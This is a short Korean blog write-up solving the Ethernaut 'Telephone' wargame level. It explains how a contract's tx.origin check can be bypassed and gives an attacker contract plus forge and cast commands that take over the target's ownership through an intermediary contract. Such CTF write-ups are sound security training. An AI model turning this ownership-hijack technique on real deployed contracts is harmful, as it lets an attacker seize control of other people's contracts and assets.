[ethernaut] Telephone

wooz3k.eth·2022년 12월 25일
0
post-custom-banner
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

이 문제는 tx.originmsg.sender에 관계를 알면 쉽게 풀 수 있다.

tx.origin은 최초로 tx를 실행한 주소 즉, ethereum에서는 EOA가 되게 된다. ( 모든 tx는 EOA에 의해서 시작됨. CA가 tx.origin이 되는 경우는 없음.)

msg.sender는 msg 보낸 주소가 되는데 EOA가될 수도 있고, CA가될 수도 있다.

즉, 이 문제에서는 tx.originmsg.sender가 같지 않을 경우 owner가 될 수 있는데 changeOwner(address)를 호출하는 contract를 만들어 EOA -> CA 순서로 tx에 internal msg가 실행되도록 하면 owner가 될 수 있다.

contract payload{
    
    address public new_owner = address(0xd63f66B0C0ccE2f3906CF98128dD7eF566922204);
    Telephone public target = Telephone(0x9782072248f0eD9E72567be8293cc80AFC8A62E6);

    function attack() public
    {
        target.changeOwner(new_owner);
    }
}

위에서 설명한 contract를 구현한 것이다.

forge create --rpc-url $G_RPC --private-key $P_KEY src/answer.sol:payload

컨트렉트 배포

cast send --rpc-url $G_RPC --private-key $P_KEY 0x9dcc662592506297C4eaC9Ae70A8FA66E3489fFa "attack()"

함수 호출

이렇게 문제를 풀이할 수 있었다.

profile
Theori ChainLight Web3 Researcher
post-custom-banner

0개의 댓글